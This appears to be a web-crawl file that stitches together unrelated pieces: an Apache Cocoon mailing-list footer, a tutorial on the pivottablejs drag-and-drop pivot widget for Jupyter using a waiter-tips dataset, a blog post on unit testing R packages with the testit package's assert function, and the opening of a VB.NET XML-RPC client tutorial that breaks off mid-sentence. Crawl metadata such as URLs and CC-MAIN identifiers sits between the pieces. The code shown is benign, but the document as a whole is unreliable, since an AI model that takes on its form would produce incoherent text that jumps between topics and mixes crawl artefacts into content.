> To unsubscribe, e-mail: cocoon-users-unsubscribe@xml.apache.org
> For additional commands, e-mail: cocoon-users-help@xml.apache.org | http://mail-archives.us.apache.org/mod_mbox/cocoon-users/200012.mbox/%3C007401c06a90$b547a460$bd00a8c0@infoplanning.com%3E | CC-MAIN-2019-35 | refinedweb | 271 | 69.68 |
Data visualization is a technique adopted by Data Analysts and scientists to communicate with the data in a graphical format. Doing this proves helpful in drawing meaningful insights from the data and understanding how the data is distributed. Along with visualization, data analysis is also an important aspect to bring order and some structure to the raw data. But the main advantage of these is to manage and make sense of the abundant dataset without having to go through each column of the dataset, line by line.
Pandas is a powerful tool when it comes to data analysis and data cleaning. Similarly, python provides a range of different libraries like matplotlib, seaborn, plotly and so on for visualization as well. Pivottablejs is a javascript pivot library that combines the functionality of data analysis from Pandas and visualization from several libraries into one.
In this article, we will explore the different features of pivot table js and analyse the data in our dataset.
Implementation of Pivottablejs
PivotTable is an open-source library javascript Pivot component. It is a completely customizable widget which may be altered to suit your needs. This component can be used to convert your jupyter notebook into a drag and drop tool for visualization and analysis of data. The different features of this are heatmap, row heatmap, column heatmap, table, charts, treemaps etc.
Let us look into how to implement this in our notebook.
This component can be downloaded as a python package using
pip install pivottablejs
Importing libraries
We will need to import pandas to read our CSV file and PivotTable to implement the drag and drop functionality.
import pandas as pd
from pivottablejs import pivot_ui
I have selected a waiter’s tips dataset. The features of this dataset are the gender of the waiter, time of service, whether the customer was a smoker or not and the target is to identify the tips that the waiter is getting. The dataset is available for download here. Load your data to the notebook.
tips=pd.read_csv(“tips.csv”)
tips.head()
Data visualization and analysis
To implement the drag and drop functionality all we have to do is run this command.
pivot_ui(tips)
There is an interactive screen that pops up on your screen that contains rows and columns of your dataset and other options.
You can get a count of how many rows contain information that might be important for you. Drag and drop the target which is tips and any feature you want. The display is automatic.
This displays the total count of the rows and columns of smoker and sex features vs the day. Clicking on the count box gives you a list of possible analysis that can be done on your dataset.
Let us explore some of these now. Since the aim is to predict the tip amount, it would be useful to look at the sum of the tips in comparison to the total bill amount. I will use the heatmap option for this.
The data indicate that a waitress would get higher tips on Sundays. There are different options available for plotting graphs like bar charts, line graphs and scatter plots. Here is what they look like.
Keeping the parameter for analysis as mean, that is the average tips a person gets in a day based on gender and smoking tables, here is what the bar chart looks like.
This indicates that women do get more tips than men do especially on the weekends.
Next, let us look at the analysis that tells us which time of the day the tips are least. Change the option to a minimum and the graph type to a line graph.
The graph shows that a male waiter gets least tips on Thursday dinners. Though line graphs are great in establishing relationships between features and target, area charts are more helpful in understanding data distribution as well.
Here is an area chart that tells us the median distribution of data during the day for the waiters.
All of this information is useful to help design a robust machine learning algorithm. There are multiple ways to explore the dataset using this widget and proves to be of much help because of its ease of use and the time consumed for analysis. You can also use statistical methods like median, standard deviation, lower and upper bounds for visualization of the data.
You can save each analysis to an HTML file for further use as well.
Conclusion
With only one line of code, we are able to perform data analysis and visualization in a very easy and efficient way using pivot tables js. This tool is helpful for obtaining gainful insights and extract meaning from the data with a few clicks. There is a lot to explore using this tool and the biggest advantage is the amount of time it saves for the visualization process.. | https://analyticsindiamag.com/how-to-implement-drag-and-drop-feature-in-jupyter-notebook-with-pivot-table/ | CC-MAIN-2020-45 | refinedweb | 815 | 61.77 |
tag:blogger.com,1999:blog-3877552150457541062018-05-19T10:58:09.063-07:00computed styleChris Zacharias Front-End EngineersWhen I started at YouTube nearly three and a half years ago, there was only one full-time web developer (and one other web developer who, shortly before I started, transitioned into product management). Needless to say, there were plenty of things to work on the moment I walked through the door. In fact, the first order of business was to set to work recruiting our third full-time web developer. <br /><br />By. <br /><br /. <br /><br />Here are my observations on what to look for in potential candidates. These are generalizations based on experiences I have had. Of course there will be plenty of exceptions out there.<br /><br />1.) <b>Good front-end engineers rarely have a computer science degree.</b>.<br /><br />2.) <b>Good front-end engineers cannot be forged from back-end engineers.</b>. <br /><br />3.) <b>Good front-end engineers list Javascript on their resume, not jQuery.</b>: <br /><br /><blockquote. <i>You cannot use jQuery or any other library.</i></blockquote><br /. <br /><br /. <br /><br />4.) <b>Good front-end engineers are artists.</b>.<br /><br />5.) <b>If you want to find good front-end engineers, look to the newspaper and print industry.</b>.<img src="" height="1" width="1" alt=""/>Chris Zacharias From Building a Basic Video Player in HTML5HTML5 browsers that support the <video> tag are required to provide a basic set of controls for watching video on a web page. The built-in controls can be turned on by adding the "controls" attribute to the <video> tag. However, in many cases, you will want to provide your own richer set of playback controls. In this post, I intend to call out some of the hurdles that I have run across working on various HTML5 video players. If you want to see many of these techniques in action, check out the source code for <a href=""></a>.<br /><br />A. <br /><br /><h3>Markup</h3><br /:<br /><code><br /> <button class="play-button"><canvas class="play-icon" height="32" width="32"></button><br /></code><br /:<br /><br />HTML<br /><code><br /><meter id="my-video-rating" class="video-rating" value="4"></meter><br /></code><br />CSS<br /><code><br />.video-rating {<br /> display: block;<br /> width: 100px;<br /> height: 20px;<br />}<br />.video-rating[value=0] { background-image: url(/img/stars-0.png); }<br />.video-rating[value=1] { background-image: url(/img/stars-1.png); }<br />.video-rating[value=2] { background-image: url(/img/stars-2.png); }<br />.video-rating[value=3] { background-image: url(/img/stars-3.png); }<br />.video-rating[value=4] { background-image: url(/img/stars-4.png); }<br />.video-rating[value=5] { background-image: url(/img/stars-5.png); }<br /></code><br />Javascript<br /><code><br />function changeRating(newRating) {<br /> document.getElementById("my-video-rating").value = newRating;<br />}<br /></code><br /><br /><h3>User Interface</h3><br /. <br /><br />One thing that caught me off guard was the nature of volume and muting. For whatever reason, I expected setting <b>muted</b> to true would be reflected in the <b>volume</b> property (e.g. setting the volume to 0). However, the specification explicitly keeps these two values separately, which actually makes life much easier. Just remember to check both values when trying to update your player's volume controls.<br /><br /><h3>Fullscreen</h3><br /:<br /><code><br />.video-player video {<br /> display: block;<br /> width: 640px;<br /> height: 360px;<br />}<br />.video-player.fullscreen video {<br /> display: block;<br /> width: 100%;<br /> height: 100%;<br /> position: absolute;<br /> z-index: 9999;<br /> top: 0;<br /> left: 0;<br />}<br /></code><br />I am still working on getting the controls to layout properly in full-window mode, and will update this post with any insights I uncover.<br /><br /:<br /><code><br /><link rel="stylesheet" type="text/css" media="screen" href="videoplayer.css"><br /><link rel="stylesheet" type="text/css" media="projection, tv" href="videoplayer-full.css"><br /></code><br />Or you could do this in the CSS code:<br /><code><br />@media screen {<br /> /* Do your normal video player styles here */<br />}<br />@media projection, tv {<br /> /* Do your fullscreen styles here */<br />}<br /></code><br />Finally, one hurdle that remains is supporting the ability to show an embedded video in fullscreen on a third-party site. The security puzzle that this introduces is still undergoing heavy debate. Currently, there is no way to accomplish this that I know of.<br /><br /><h3>Embedding</h3><br /:<br /><code><br /><iframe src="" height="360" width="640"></iframe><br /></code><br />.<br /><br /.<br /><br /><h3>Conclusion</h3><br /.<img src="" height="1" width="1" alt=""/>Chris Zacharias Textile to Google App EngineBy default, App Engine includes a copy of Django that it pulls in components from. However, the integration points between App Engine and Django are fairly custom and not well documented. Trying to follow vanilla Django examples for installing Textile will not work in the context of App Engine. To get Textile to work will involve a number of steps.<br /><br />To begin with, you will want to create a lib folder in your App Engine project's home directory.<br /><pre><br />~/Projects/Example$ mkdir lib<br /></pre><br />You will then want to <a href="">download</a> Textile and extract into your newly created lib folder.<br /><pre><br />~/Projects/Example$ cd lib<br />~/Projects/Example/lib$ curl -O<br />~/Projects/Example/lib$ tar xzf textile-2.1.2.tar.gz<br /></pre><br />The Django template library <b>django.contrib.markup</b> will attempt to import from the namespace <b>textile</b>. You need to let Python know to look inside directories in the lib directory for namespaces. To do this, you will need to modify your <b>sys.path</b> to include those directories. The way to do this is to add the following code to the top of the file or files that contain your main functions, such as <b>main.py</b> in some of the App Engine demos.<br /><pre><br />import os<br />import sys<br />import logging<br /><br />DIR_PATH = os.path.abspath(os.path.dirname(os.path.realpath(__file__)))<br />LIB_PATH = os.path.join(DIR_PATH, "lib")<br />EXTRA_PATHS = []<br />for path in os.listdir(LIB_PATH):<br /> fullpath = os.path.join(LIB_PATH, path)<br /> if os.path.isdir(fullpath) and not path.startswith("."):<br /> EXTRA_PATHS.append(fullpath)<br />sys.path = sys.path + EXTRA_PATHS<br /></pre><br />This will modify the sys.path and let Python know to look inside of your lib directory for namespaces to import.<br /><br /.<br /><pre><br />def get(self):<br /> template.register_template_library('django.contrib.markup.templatetags.markup')<br /> # Do your template processing here.<br /></pre><br />At this point, you should be able to use the <b>textile</b> template tag in App Engine templates like so.<br /><pre><br /><span>{{someVar|textile}}</span><br /></pre><img src="" height="1" width="1" alt=""/>Chris Zacharias Tag Solution: Simple CSS RatingsThe 4- or 5-star rating has become the default for conveying popularity or relevance across the web. There are many ways to render a rating using stars in HTML and CSS. However, I have not seen a solution that is simultaneously simple, optimized, semantic, and accessible. Therefore, I set to work to uncover my own. The result looks like this: (The image 'none.gif' is a 1x1 transparent gif file)<br /><code><br /><img class="rating" alt="3.5" src="/none.gif" /><br /></code><br /><img style="cursor:pointer; cursor:hand;" src="" border="0" alt=""id="BLOGGER_PHOTO_ID_5185894415459329538" /><br /><br />The initial goal was to start by rendering a rating using only a single HTML tag that both visually displays the rating and retains its numerical value. The tag to use was very obviously the <img> tag. It is meant to display visual information and the 'alt' attribute is the perfect way to convey the numerical value of the rating. For slow-loading webpages, the numerical value of the rating will be displayed until the images load in.<br /><br />The next objective was to make use of image spriting to contain the stars so that only one image has to be loaded and cached for all ratings. There are several different approaches to this. The image sprite I chose to make use of looks like this:<br /><br /><img style="cursor:pointer; cursor:hand;" src="" border="0" alt=""id="BLOGGER_PHOTO_ID_5185888853476681202" /> <br /> <br />The idea is to set the width of the image to be 5-stars wide and then slide this sprite around to get the desired rating. <!-- The following animation demonstrates what is happening behind the scenes.<br /><br /><img src="" alt="Star Animation" />--><br /><br />Building the CSS for this is rather simple. I will demonstrate the intended, but IE6-incompatible approach first. IE6 is the only modern browser that does not support the attribute selector syntax.<br /><code style="white-space: pre;"><br />img.rating {<br /> background: transparent url(stars.gif) no-repeat scroll;<br /> width: 100px;<br /> height: 20px; <br />}<br />img.rating[<br />img.rating {<br /> background: transparent url(stars.gif) no-repeat scroll;<br /> width: 100px;<br /> height: 20px; <br />}<br />img.rating-0\.0 { background-position: -100px 0; }<br />img.rating-0\.5 { background-position: -80px -20px; }<br />img.rating-1\.0 { background-position: -80px 0; }<br />img.rating-1\.5 { background-position: -60px -20px; }<br />img.rating-2\.0 { background-position: -60px 0; }<br />img.rating-2\.5 { background-position: -40px -20px; }<br />img.rating-3\.0 { background-position: -40px 0; }<br />img.rating-3\.5 { background-position: -20px -20px; }<br />img.rating-4\.0 { background-position: -20px 0; }<br />img.rating-4\.5 { background-position: 0 -20px; }<br />img.rating-5\.0 { background-position: 0 0; }<br /></code><br />The modified HTML code would look like:<br /><code><br /><img class="rating rating-3.5" alt="3.5" src="/none.gif" /><br /></code><br />In the end, the result is a simple, semantic rating in one tag and one image. For part 2, I will demonstrate how to turn this into a rating you can pick from.<img src="" height="1" width="1" alt=""/>Chris Zacharias | http://feeds.feedburner.com/ComputedStyle | CC-MAIN-2018-22 | refinedweb | 1,727 | 50.94 |
This page explains how to create a continuous integration and delivery (CI/CD) pipeline on Google Cloud (GKE) Container Registry.
- Create a CI pipeline.
- Create a CD pipeline.
- Test the CI/CD pipeline.
Costs
Before you begin]"
Run the gcloud credential helper. This will connect your Google Cloud user account to Cloud Source Repositories.
git config --global credential.helper gcloud.sh
When you finish this tutorial, you can avoid continued billing by deleting the resources you created. See Cleaning up for more detail.
Creating cloned contains a "Hello World" application.
from flask import Flask app = Flask('hello-cloudbuild') @app.route('/') def hello(): return "Hello World!\n" if __name__ == '__main__': app.run(host = '0.0.0.0', port = 8080)
Creating a container image with Cloud Build
The code you cloned available in Container Registry.
Creating the continuous integration pipeline
In this section, you configure Cloud Build to automatically run a small
unit test, build the container image, and then push it to
Container Registry. Pushing a new commit to Cloud Source Repositories
automatically triggers this pipeline. The
cloudbuild.yaml file.
Your recently run and finished builds appear. You can click on a build to follow its execution and examine its logs.
Creating. the Cloud Build Settings page Build configuration, select Cloud Build configuration file.
-. "Hello Cloud Build!" appears.
Testing. "Hello World!" appears again. More more_vert, | https://cloud.google.com/kubernetes-engine/docs/tutorials/gitops-cloud-build?hl=vi | CC-MAIN-2021-10 | refinedweb | 224 | 52.36 |
I'm hoping someone can help me. Allegro looks cool, and I want it. The problem is I have no clue what I need (compilers, Allegro files),and how to install Allegro. I'm hoping someone can help.
A good place to start is here.
For compilers, if you're running Windows, either MSVC or MinGW.
edit:
I just noticed that the installation guide for MinGW (Dev-CPP) is missing. The easiest way to install Allegro is to download one of the precompiled binaries, since it means you don't have to compile the library yourself.
The precompiled binaries can be found here. The same page also has the documentation, as well as other tools and examples, so make sure to grab them all.
It's easy. You'll need a C/C++ programming environment. If you're beginning, I recommend devcpp (devcpp makes use of the mingw compiler, but it also has a development environment and is a bit easier to set up)
Then head over to There you can download the allegro library itself. Download the latest stable version, then unpack it. Then you have to compile it. This can be tricky, but don't give up after your first try. Try to read any docs you can find, and we'll be happy to answer any specific questions here.
--Martijn van Iersel | My Blog | Sin & Cos | Tegel tilemap editor | TINS 2017
If you are on Windows go get MingW (choose "MinGW-3.1.0-1.exe", it's old but will self-install, later you can just download each package and unpack it to the directory where you installed the first package).
Then download Allegro from here, unpack it somewhere on your disk and follow the instructions in /docs/build/mingw32.txt (if something goes wrong you may need some other packages listed in the Allegro download page).
[edit] I'm really slow o_O
Thanks! I instlaed MinGW, and Put the entire Allegro library in the minGW folder. Just one question:Can I run a sample program to make sure everything works and how?
Thanks! I instlaed MinGW, and Put the entire Allegro library in the minGW folder.
When you say "the entire Allegro library" did you mean the precompiled version I recommended, or the sources from sourceforge that the others did? If you downloaded the source, you actually need to compile it, not just copy it to the MinGW directory.
Can I run a sample program to make sure everything works and how?
There's no program that you can just run to test that the library has installed properly. You need to write some test code and make sure it compiles.
I'd recommend Code::Blocks or MSVC Express over devcpp, because devcpp isn't in development anymore.
BAF.zone | SantaHack!
In reply to LennyLen's question, I downloaded the binary files(MinGW and tools .zip files.)
One last question: When I create a code, how do I compile it.(I'm using the C language.)
Why's everyone complicating this...
Just get Dev-Cpp and use the built-in package manager to download Allegro. It will set everything up for you and you will even have an Allegro "Hello World!" test program template under New Projects.
To compile, I think it's F9 or ctrl-F9. One is compile, one is compile+run.
Oh wait, you're not using an IDE are you...
--- <-- Read it, newbies.
Just get Dev-Cpp and use the built-in package manager to download Allegro.
Likewise, why use an outdated, buggy, IDE to do that when you could use Code::Blocks to download and install the Dev-Paks.
edit: Oops, missed this...
One last question: When I create a code, how do I compile it.(I'm using the C language.)
Either download an IDE like Code::Blocks , which makes things easier, or follow the instructions that came with MinGW about how to compile from the command line.
The simplest command line instruction will be: gcc -o program-name.exe file1.c file2.c ... -lalleg
Thanks for helping me out! I couldn't understand any of the instalation instructions, but now it works! Thanks again!
Why's everyone complicating this...
Well... you asked it: I think one should understand how low level things work before using an higher level tool that simplifies the work. Otherwise one comes out with things like this:
I couldn't understand any of the instalation instructions, but now it works!
(nothing against you, coolmangroupof4, of course ).
Personally, I would understand the steps and commands that take a source code file to a working binary file, because they're the steps an IDE hides you under a click on a couple of buttons. This way if something goes wrong you can investigate a bit before going panic.
That's why I suggested him to get the source version and compile it by himself, it's hard in the beginning, but going throught the steps (and facing the problems you encounter), makes you more familiar with the tools.
Getting this thing to work is really a pain in the arse. I've been at it for a couple hours now. I usually know my way around with stuff, but when you encounter all these dead links and unclear info in text files......
The mingw32.txt on how to set things up is REALLY unclear and the standard directory name of Dev-C++ (for the path) that was put in is wrong -- the '-' was excluded. Setting up MINGDIR for WinXP is VERY UNCLEAR, and made me look up this forum.Setting up mingw32 was also a pain but Dev-C++ has it too so a minimal installation with just that is good. And that link in the second post to get the pre-compiled is good stuff. I hope I can finally get crackin' with coding instead of banging my head against the wall with tedious annoying installations.
Oh, btw... I'm new here
Oh, btw... I'm new here
I usually know my way around with stuff, but when you encounter all these dead links and unclear info in text files......
I'm not the maintainer of such files, but can you post those links? So they can be checked
The following links are broken:
Setting up MINGDIR for WinXP is VERY UNCLEAR, and made me look up this forum.
Um...
f you use Windows NT/2k/XP, you can open the Control Panel, click the 'System' applet, the 'Advanced' tab and finally the 'Environment' button, and then add MINGDIR.
That's pretty clear.
Yeah, had also been googling around for an hour or more. Damn. Those two links and others I encountered, but it's too much of a hassle to look up now
you use Windows NT/2k/XP, you can open the Control Panel, click the 'System' applet, the 'Advanced' tab and finally the 'Environment' button, and then add MINGDIR.
Actually, I did that but it didn't work. That's exactly the part where I got stuck, and then the mingw32.txt didn't really help that much further.
I prefer to use dmc.exe, though, not gcc or mingw, etc., it's confusing as hell and doesn't work for me, even if I've followed the damn directions. What is the proper way to set up Allegro for Digital Mars? Haven't seen any documentation for it, so I've been just "guessing" and hoping it's possible at all. (gcc is too much pain (even to look at).)Have taken the pre-compiled Allegro and put the 'bin' and 'include' into my 'dm' (compiler) directory, and put the three DLLs into C:\windows\system32. [s]But when I compile my first -- har har(!) -- simple basic Allegro program, it can't open the 'allegro.h' ? I instructed the compiler to look at it, but no.[/s] It gives me only errors now, but it least it can find allegro.h now And what's the story with that 'lib' directory from the pre-compiled Allegro? They are all .a files, and I can't find any information about them.
All this searching and searching: arrrgh!
I prefer to use dmc.exe, though, not gcc or mingw, etc., it's confusing as hell and doesn't work for me, even if I've followed the damn directions.
You probably haven't followed the directions then. The easiest way to get MinGW installed is to use the automated installer that is on SourceForge. It automatically downloads the various packages and installs them for you.
And what's the story with that 'lib' directory from the pre-compiled Allegro? They are all .a files, and I can't find any information about them.
A .a file is MinGW/GCC's library file format. They won't work with any other compiler, so don't bother using the binaries with your compiler.
Alright, I think I got it running now -- mingw and followed the instructions in the .txt file for precompiled Allegro. I made a simple basic program but the compiler gives me too many errors, so I'm wondering if I've forgotten something or whether tthe simple code was wrong.
To sum up for clarity's sake what I got so far (excluding previous installation pains):
(1) I did the MinGW install; downloaded and installed through internet connection to C:\mingw; have only ticked C++ compiler, etc. stuff that looked necessary, for download.(2) Followed the pre-compiled Allegro instructions (.txt file) for installation for mingw (-- moving lib, include, bin, to their necessary spots).(3) Used "g++ <source> -o <output_name> -l alleg" to compile a simple test program here below:
#include <allegro.h>
int main
{
allegro_init();
install_keyboard();
set_gfx_mode(GFX_AUTODETECT, 640, 480, 0, 0);
readkey();
return 0;
}
END_OF_MAIN();
...and got some errors. Mainly about an invalid function and WinMain.
Did I forget something? Faulty code, or maybe it's something else? (tired )Before that summary I downloaded and installed the latest DX SDK from April, but haven't done anything else with it yet. Must I do something with it? I vaguely recall something about DX header files, but I don't recall where I read it.
You have no parenthesis after main...
Arrrgh! Such a little........ I think I need some sleep
Thanks for the help, guys! Now that it's finally up and running, I'll start doing some Allegro and hope to get out some nice stuff | https://www.allegro.cc/forums/thread/591195/669247 | CC-MAIN-2018-43 | refinedweb | 1,747 | 74.9 |
This guy th3james claimed Testing Code Is
Simple,
and I agree. In the R world, this is not anything new. As far as I can see,
there are three schools of R users with different testing techniques:
- tests are put under
package/tests/, and a
foo-test.Rout.savefrom
R; testing is done by comparing
CMD BATCH foo-test.R
foo-test.Routfrom
R CMD checkwith your
foo-test.Rout.save; R notifies you when it sees
text differences; this is typically used by R core and followers
- RUnit and its followers: formal ideas were borrowed from other languages
and frameworks and it looks there is a lot to learn before you can get started
- the testthat family: tests are expressed as
expect_something()like
a natural human language
At its core, testing is nothing but “tell me if something unexpected happened”.
The usual way to tell you is to signal an error. In R, that means
stop(). A
very simple way to write a test for the function
FUN() is:
if (!identical(FUN(arg1 = val1, arg2 = val2, ...), expected_value)) { stop('FUN() did not return the expected value!') }
That is, when we pass the values
val1 and
val2 to the arguments
arg1 and
arg2, respectively, the function
FUN() should return a value identical to
our expected value, otherwise we signal an error. If
R CMD check sees an
error, it will stop and fail.
For me, I only want one thing for unit testing: I want the non-exported
functions to be visible to me during testing; unit testing should have all
“units” available, but R’s namespace has intentionally restricted the objects
that are visible to the end users of a package, which is a Very Good Thing to
end users. It is less convenient to the package author, since he/she will have
to use the triple colon syntax such as
foo:::hidden_fun() when testing the
function
hidden_fun().
I wrote a tiny package called testit
after John Ramey dropped by my office one afternoon while
I was doing intern at Fred Hutchinson Cancer Research Center last year. I
thought a while about the three testing approaches, and decided to write my own
package because I did not like the first approach (text comparison), and I did
not want to learn or remember the new vocabulary of RUnit or testthat.
There is only one function for the testing purpose in this package:
assert().
assert( "1 plus 1 is equal to 2", 1 + 1 == 2 )
You can write multiple testing conditions, e.g.
assert( "1 plus 1 is equal to 2", 1 + 1 == 2, identical(1 + 1, 2), (1 + 1 >= 2) && (1 + 1 <= 2), # mathematician's proof c(is.numeric(1 + 1), is.numeric(2)) )
There is another function
test_pkg() to run all tests of a package using an
empty environment with the package namespace as its parent environment, which
means all objects in the package, exported or not, are directly available
without
::: in the test scripts. See the CRAN
page for a list of packages that use
testit, for example, my highr package,
where you can find some examples of tests.
While I do not like the text comparison approach, it does not mean it is not
useful. Actually it is extremely useful when testing text document output. It is
just a little awkward when testing function output. The text comparison approach
plays an important role in the development of knitr: I have a Github
repository knitr-examples, which
serves as both an example repo and a testing repo. When I push new commits to
Github, I use Travis CI to test the package, and there are two parts of the
tests: one is to run
R CMD check on the package, which uses testit to run
the test R scripts, and the other is to re-compile all the examples, and do
git to see if there are changes. I have more than 100 examples, which should
diff
have reasonable coverage of possible problems in the new changes in knitr.
This way, I feel comfortable when I bring new features or make changes in
knitr because I know they are unlikely to break old documents.
If you are new to testing and only have 3 minutes, I’d strongly recommend you to
read at least the first two sections of Hadley’s testthat... | http://www.r-bloggers.com/testing-r-packages/ | CC-MAIN-2016-18 | refinedweb | 723 | 65.76 |
Opened 21 months ago
Closed 21 months ago
Last modified 9 months ago
#23615 closed enhancement (fixed)
Update pip to 9.0.1
Description (last modified by )
At #20913 pip was patched so that it works without ssl support, and this patch was also submitted upstream. Upstream has since merged the patch at into 9.0.1. So it makes sense to upgrade pip to this new version in order to have an unpatched pip in sage.
The pip tarbal can be found at
Change History (25)
comment:1 Changed 21 months ago by
comment:2 Changed 21 months ago by
- Branch set to u/mderickx/23615
- Commit set to 84ecb824e35535288dc980fa94cff9a0fec31190
comment:3 Changed 21 months ago by
- Commit changed from 84ecb824e35535288dc980fa94cff9a0fec31190 to a8d1697b4b56dbe20f8332bc1590bc86ba48d815
Branch pushed to git repo; I updated commit sha1. New commits:
comment:4 Changed 21 months ago by
- Status changed from new to needs_review
comment:5 Changed 21 months ago by
- Status changed from needs_review to needs_work
This looks very scary:
eval(stdout). If you want to parse JSON, I would recommend the json module.
comment:6 Changed 21 months ago by
- Commit changed from a8d1697b4b56dbe20f8332bc1590bc86ba48d815 to b6b9954bb690cad965f4ffa135cd8c46b5d8cd3f
Branch pushed to git repo; I updated commit sha1. New commits:
comment:7 Changed 21 months ago by
- Status changed from needs_work to needs_review
Yeah, I shouldn't have written that. Changed it into
json.loads(stdout).
comment:8 follow-up: ↓ 9 Changed 21 months ago by
Builds fine and passes tests for me on OS X. Note that on this machine, the
python2 log says that ssl is not built:
Python build finished, but the necessary bits to build these modules were not found: _bsddb _ssl dl gdbm imageop linuxaudiodev ossaudiodev spwd sunaudiodev
and
import ssl raises an
ImportError. So it's good that this new
pip works.
comment:9 in reply to: ↑ 8 ; follow-up: ↓ 10 Changed 21 months ago by
Replying to jhpalmieri:
Builds fine and passes tests for me on OS X.
Build from scratch or just a regular upgrade? I'm going to test a build from scratch on Linux.
comment:10 in reply to: ↑ 9 Changed 21 months ago by
Replying to jhpalmieri:
Builds fine and passes tests for me on OS X.
Build from scratch or just a regular upgrade? I'm going to test a build from scratch on Linux.
Build from scratch.
comment:11 Changed 21 months ago by
- Reviewers set to Jeroen Demeyer
- Status changed from needs_review to positive_review
comment:12 Changed 21 months ago by
- Branch changed from u/mderickx/23615 to b6b9954bb690cad965f4ffa135cd8c46b5d8cd3f
- Resolution set to fixed
- Status changed from positive_review to closed
comment:13 Changed 21 months ago by
- Commit b6b9954bb690cad965f4ffa135cd8c46b5d8cd3f deleted
It seems that this breaks something with python3... :(
chapoton@icj-laptop:~/sage3$ ./sage -br cd . && export \ SAGE_ROOT=/doesnotexist \ SAGE_SRC=/doesnotexist \ SAGE_SRC_ROOT=/doesnotexist \ SAGE_DOC_SRC=/doesnotexist \ SAGE_BUILD_DIR=/doesnotexist \ SAGE_PKGS=/home/chapoton/sage3/build/pkgs \ SAGE_CYTHONIZED=/home/chapoton/sage3/src/build/cythonized \ && sage-python23 -u setup.py --no-user-cfg build install Usage: pip list [options] no such option: --format ************************************************************************ Traceback (most recent call last): File "setup.py", line 69, in <module> from module_list import ext_modules, library_order, aliases File "/home/chapoton/sage3/src/module_list.py", line 166, in <module> from sage_setup.optional_extension import OptionalExtension File "/home/chapoton/sage3/src/sage_setup/optional_extension.py", line 24, in <module> all_packages = list_packages(local=True) File "/home/chapoton/sage3/src/sage/misc/package.py", line 226, in list_packages installed = installed_packages(exclude_pip) File "/home/chapoton/sage3/src/sage/misc/package.py", line 286, in installed_packages installed.update(pip_installed_packages()) File "/home/chapoton/sage3/src/sage/misc/package.py", line 148, in pip_installed_packages return {package['name'].lower():package['version'] for package in json.loads(stdout)} File "/home/chapoton/sage3/local/lib/python3.6/json/__init__.py", line 354, in loads return _default_decoder.decode(s) File "/home/chapoton/sage3/local/lib/python3.6/json/decoder.py", line 339, in decode obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/home/chapoton/sage3/local/lib/python3.6/json/decoder.py", line 357, in raw_decode raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0) ************************************************************************ Error building the Sage library ************************************************************************ Makefile:34 : la recette pour la cible « sage » a échouée make: *** [sage] Erreur 1
comment:14 Changed 21 months ago by
oh, wait a moment. I did not rebuild..
comment:15 Changed 21 months ago by
Apparently, this really did break the python3 build. I am not amused.
comment:16 Changed 21 months ago by
Hi Chapoton,
I would find it weird if this really did break the python3 build. The error message you posted is one that one would get if the installed pip is not actually 9.0.1:
For example on my machine with sage before this was merged
Maartens-MacBook-Pro:sagedev mderickx$ sage -pip -V pip 8.1.2 from /Applications/sage/local/lib/python2.7/site-packages (python 2.7) Maartens-MacBook-Pro:sagedev mderickx$ sage -pip list --format json Usage: pip list [options] no such option: --format
and after it is merged
Maartens-MacBook-Pro:sagedev mderickx$ ./sage -pip -V pip 9.0.1 from /Applications/sagedev/local/lib/python2.7/site-packages (python 2.7) Maartens-MacBook-Pro:sagedev mderickx$ ./sage -pip list --format json [{"version": "0.7.8", "name": "alabaster"}, ..., {"version": "4.2.0", "name": "zope.interface"}]
Could you give me the output of
sage -pip -V and
ls $SAGE_ROOT/upstream | grep pip?
comment:17 Changed 21 months ago by
A quick solution would be:
sage -pip uninstall pip sage -i pip
This avoids doing:
make distclean make install
comment:18 Changed 21 months ago by
chapoton@icj-laptop:~/sage3$ ./sage -pip -V pip 9.0.1 from /home/chapoton/sage3/local/lib/python2.7/site-packages (python 2.7) chapoton@icj-laptop:~/sage3$ ls upstream/pip* upstream/pip-8.1.2.tar.gz upstream/pip-9.0.1.tar.gz chapoton@icj-laptop:~/sage3$ ./sage -pip list --format json [{"version": "1.0.0", "name": "cypari2"}, {"version": "1.6.5", "name": "cysignals"}, {"version": "0.26", "name": "Cython"}, {"version": "9.0.1", "name": "pip"}, {"version": "33.1.1", "name": "setuptools"}]
so maybe this is a matter of pip versus pip3 ?
EDIT: in a sage shell, pip3 says version 9.0.1 too.
comment:19 Changed 21 months ago by
Weird, then the only possibility is that sage is picking up some pip from outside its installation.
Could you add the lines
proc = subprocess.Popen(["pip", "-V"], stdout=subprocess.PIPE) stdout = str(proc.communicate()[0]) print(stdout)
before the lines:
proc = subprocess.Popen(["pip", "list", "--no-index", "--format", "json"], stdout=subprocess.PIPE) stdout = str(proc.communicate()[0])
in
src/sage/misc/package.py in order to see which pip is being picked up at the point where the build fails?
Alternatively could you describe how to reproduce this error so I can look at it myself?
comment:20 Changed 21 months ago by
The result of the added print is
b'pip 9.0.1 from /home/chapoton/sage3/local/lib/python2.7/site-packages (python 2.7)\n'
To reproduce, I think this is enough:
- git clone a new sage - export SAGE_PYTHON3=yes - make build
comment:21 Changed 21 months ago by
Ah I see the problem it is a unicode thing. If you do:
stdout = proc.communicate()[0].decode()
then everything should work. I will create a new ticket with a fix.
comment:22 Changed 21 months ago by
comment:23 Changed 9 months ago by
I am hurt by all this again when going from sage 8.4.beta0 to 8.4.beta1.
comment:24 Changed 9 months ago by
Hurt by what again?
comment:25 Changed 9 months ago by
I got build failures for sagelib on the very same line
return {package['name'].lower():package['version'] for package in json.loads(stdout)}
but I have now realized that this is probably due to the existence of a personal "pip.conf".
New commits: | https://trac.sagemath.org/ticket/23615 | CC-MAIN-2019-22 | refinedweb | 1,328 | 60.21 |
XML RPC is a standard for calling functions / passing
parameters to these functions / retrieving return values from these functions.
The caller program and the called function typically exist on separate machines.
If a server is available and it provides some functions then a client anywhere
can call these functions via a simple HTTP (or HTTPS) URL.
The parameters are
sent from the client to the server in a form of XML text. The server then
receives the parameters and carries out the actions required by the to be called
function. The return value is then returned to the client in the form of XML
text as well. All this communication is performed via the more than widely used
HTTP (or HTTPS) protocol. It's obvious from the above calling structure that XML
RPC is totally platform independent and that it can be employed in virtually any
environment due to the simplicity / effectiveness of the calling structure.
This tutorial will teach the reader how to implement an
XML RPC capable client from VB.NET application and what the external components
that can be used to achieve this target.
XML RPC Server
Any kind of web services those are located in a server
machine.
XML RPC Client
Is the program located on your machine and sends a
request to a web service located on XML RPC server.
In this tutorial we will build a client application and
use a test server available for test operations.
Although widely used, there is no native support for XML
